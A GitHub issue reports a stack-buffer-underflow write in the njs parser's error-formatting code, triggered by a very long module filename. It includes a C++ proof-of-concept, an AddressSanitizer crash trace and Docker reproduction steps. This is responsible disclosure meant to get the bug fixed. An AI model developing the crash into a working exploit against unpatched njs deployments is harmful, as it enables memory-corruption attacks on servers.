Skip to content

Stack-underflow write via long filename in error handling pathway #1005

@hgarrereyn

Description

@hgarrereyn

Hi, there is a potential bug in the error handling printing pathway triggered by a long filename.

This bug was reproduced on 6b230aa.

Description

Specifically, when something like a syntax error occurs during parsing, the library tries to print out some warning/error messages and does some formatting to set up the content.

However the following code in njs_parser_error can lead to a stack-underflow write when the filename of the invalid code is quite large:

https://github.com/nginx/njs/blob/master/src/njs_parser.c#L9218-L9227

Initially p points to the start of the fixed size buffer msg and end points to the end.

It invokes njs_vsprintf to print the main message (from the caller) which can move p forward.

It then computes the maximum estimated width of something like " in foo.c:1234" which is intended to go at the end of the string. But if the original message was quite large, or the filename is quite large, there might not be enough space for the file message (which is important to fit).

So the check if (p > end - width) { p = end - width; } is intended to move the pointer backwards enough to fit the filename message.

However, if the filename is long enough such that width > end, it will actually move the pointer too far backwards such that it points before the buffer. Then subsequent sprintf calls will overwrite memory with data from the filename.

POC

The following testcase demonstrates the bug:

testcase.cpp

#include <cstdint>
#include <string>
extern "C" {
#include "/fuzz/install/include/njs.h"
}

int main(){
  // Create VM
  njs_vm_opt_t opts; njs_vm_opt_init(&opts);
  njs_vm_t *vm = njs_vm_create(&opts);
  if (!vm) return 0;

  // Large module name (4096 'A's) triggers stack underflow in error formatting
  std::string name_s(4096, 'A');
  njs_str_t name; name.start = (u_char*)name_s.data(); name.length = name_s.size();

  // Tiny invalid JS source to force parser error path
  std::string src = ")"; // syntax error
  u_char *start_buf = (u_char*)src.c_str();
  u_char *end_ptr = start_buf + src.size();
  u_char *start_ptr = start_buf; u_char **start_pp = &start_ptr;

  // Compile module -> enters error path and crashes in njs_parser_error/njs_vsprintf
  (void)njs_vm_compile_module(vm, &name, start_pp, end_ptr);
  return 0;
}

stdout


stderr

=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fc7f1800000 at pc 0x561be03d4cb4 bp 0x7fff682405b0 sp 0x7fff6823fd70
WRITE of size 4096 at 0x7fc7f1800000 thread T0
    #0 0x561be03d4cb3 in __asan_memcpy (/fuzz/test+0x10dcb3) (BuildId: 17e4f403740ab02510ce7ad9b96cd1e39a2c9684)
    #1 0x561be0565111 in njs_vsprintf /fuzz/src/src/njs_sprintf.c:430:19
    #2 0x561be05648ed in njs_sprintf /fuzz/src/src/njs_sprintf.c:53:9
    #3 0x561be043c4c1 in njs_parser_error /fuzz/src/src/njs_parser.c:9230:13
    #4 0x561be043bc14 in njs_parser_lexer_error /fuzz/src/src/njs_parser.c:9263:5
    #5 0x561be043ba07 in njs_parser_failed_state /fuzz/src/src/njs_parser.c:642:9
    #6 0x561be043addc in njs_parser /fuzz/src/src/njs_parser.c:590:23
    #7 0x561be04183d7 in njs_vm_compile_module /fuzz/src/src/njs_vm.c:344:11
    #8 0x561be0415c49 in main /fuzz/testcase.cpp:24:9
    #9 0x7fc7f3005d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #10 0x7fc7f3005e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #11 0x561be033a7d4 in _start (/fuzz/test+0x737d4) (BuildId: 17e4f403740ab02510ce7ad9b96cd1e39a2c9684)

Address 0x7fc7f1800000 is located in stack of thread T0 at offset 0 in frame
    #0 0x561be043c30f in njs_parser_error /fuzz/src/src/njs_parser.c:9207

  This frame has 3 object(s):
    [32, 2080) 'msg' (line 9209) <== Memory access at offset 0 partially underflows this variable
    [2208, 2224) 'value' (line 9212) <== Memory access at offset 0 partially underflows this variable
    [2240, 2256) 'error' (line 9212) <== Memory access at offset 0 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow (/fuzz/test+0x10dcb3) (BuildId: 17e4f403740ab02510ce7ad9b96cd1e39a2c9684) in __asan_memcpy
Shadow bytes around the buggy address:
  0x7fc7f17ffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f17ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f17ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f17fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f17fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fc7f1800000:[f1]f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f1800080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f1800100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f1800180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f1800200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fc7f1800280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1==ABORTING

Steps to Reproduce

The crash was triaged with the following Dockerfile:

Dockerfile

# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c

RUN git clone https://github.com/nginx/njs.git /fuzz/src && \
    cd /fuzz/src && \
    git checkout 6b230aab765f7d6f2e9107bf2ca7164eac590039 && \
    git submodule update --init --remote --recursive

ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0

RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
    chmod +x /usr/local/bin/clang_wrapper && \
    echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
    chmod +x /usr/local/bin/clang_wrapper++

# Install dependencies required by njs build (PCRE2 for regex)
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
    libpcre2-dev \
 && rm -rf /var/lib/apt/lists/*

# Build njs static library and "install" headers and libs into /fuzz/install
WORKDIR /fuzz/src

# Use provided compiler wrappers and build only the static library
ENV CC=clang_wrapper
ENV CXX=clang_wrapper++

# Configure and build (disable optional deps to avoid external link requirements)
RUN ./configure --build-dir=build --no-openssl --no-libxml2 --no-zlib && \
    make -j"$(nproc)" libnjs && \
    mkdir -p /fuzz/install/lib /fuzz/install/include && \
    cp build/libnjs.a /fuzz/install/lib/ && \
    cp build/njs_auto_config.h /fuzz/install/include/ && \
    cp src/*.h /fuzz/install/include/

Build Command

clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lnjs -lpcre2-8 && /fuzz/test

Reproduce

  1. Copy Dockerfile and testcase.cpp into a local folder.
  2. Build the repro image:
docker build . -t repro --platform=linux/amd64
  1. Compile and run the testcase in the image:
docker run \
    -it --rm \
    --platform linux/amd64 \
    --mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
    repro \
    bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lnjs -lpcre2-8 && /fuzz/test"


Additional Info

This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions